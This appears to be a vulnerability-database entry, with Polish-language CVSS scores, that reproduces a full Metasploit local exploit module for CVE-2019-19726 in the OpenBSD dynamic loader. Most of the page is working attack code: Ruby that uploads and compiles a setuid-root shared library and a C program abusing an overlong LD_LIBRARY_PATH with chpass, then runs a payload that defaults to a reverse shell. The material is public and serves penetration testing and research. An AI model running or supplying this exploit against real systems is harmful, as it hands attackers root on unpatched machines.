OpenBSD Dynamic Loader chpass Privilege Escalation

2019.12.29
Credit: Brendan Coles
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


Ogólna skala CVSS: 7.2/10
Znaczenie: 10/10
Łatwość wykorzystania: 3.9/10
Wymagany dostęp: Lokalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the OpenBSD `ld.so` dynamic loader (CVE-2019-19726). The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH` environment variable when set with approximately `ARG_MAX` colons. This can be abused to load `libutil.so` from an untrusted path, using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid executable, resulting in privileged code execution. This module has been tested successfully on: OpenBSD 6.1 (amd64); and OpenBSD 6.6 (amd64) }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2019-12-11', 'Platform' => %w[bsd unix], # OpenBSD 'Arch' => [ARCH_CMD], 'SessionTypes' => ['shell'], 'References' => [ ['CVE', '2019-19726'], ['EDB', '47780'], ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'], ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'], ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'], ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'], ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig'] ], 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse', 'WfsDelay' => 10 }, 'DefaultTarget' => 0)) register_options [ OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def chpass_path datastore['CHPASS_PATH'] end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def is_root? (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') end def libutil_name return unless command_exists? 'readelf' cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first end def check patches = cmd_exec('syspatch -l').to_s patch = '013_ldso' if patches.include? patch vprint_error "Patch #{patch} has been installed. Target is not vulnerable." return CheckCode::Safe end vprint_good "Patch #{patch} is not present" unless command_exists? 'cc' vprint_error 'cc is not installed' return CheckCode::Safe end print_good 'cc is installed' CheckCode::Detected end def exploit unless check == CheckCode::Detected unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9 lib_data = <<-EOF #include <paths.h> #include <unistd.h> static void __attribute__ ((constructor)) _init (void) { if (setuid(0) != 0) _exit(__LINE__); if (setgid(0) != 0) _exit(__LINE__); char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL }; execve(argv[0], argv, NULL); _exit(__LINE__); } EOF libs = [] lib = libutil_name if lib libs << lib print_good "Found libutil.so name: #{lib}" else libs << 'libutil.so.12.1' libs << 'libutil.so.13.1' print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}" end lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c" upload lib_src_path, lib_data libs.each do |lib_name| lib_path = "#{base_dir}/#{lib_name}" print_status "Compiling #{lib_path} ..." output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall" register_file_for_cleanup lib_path unless output.blank? print_error output fail_with Failure::Unknown, "#{lib_path}.c failed to compile" end end # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9 exploit_data = <<-EOF #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <unistd.h> int main(int argc, char * const * argv) { #define LLP "LD_LIBRARY_PATH=." static char llp[ARG_MAX - 128]; memset(llp, ':', sizeof(llp)-1); memcpy(llp, LLP, sizeof(LLP)-1); char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; #define DATA (ARG_MAX * sizeof(char *)) const struct rlimit data = { DATA, DATA }; if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); if (argc <= 1) _exit(__LINE__); argv += 1; execve(argv[0], argv, envp); _exit(__LINE__); } EOF exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload "#{exploit_path}.c", exploit_data print_status "Compiling #{exploit_path} ..." output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall" register_file_for_cleanup exploit_path unless output.blank? print_error output fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" end payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload payload_path, "#!/bin/sh\n#{payload.encoded}\n" chmod payload_path print_status 'Launching exploit...' output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}") output.each_line { |line| vprint_status line.chomp } end end


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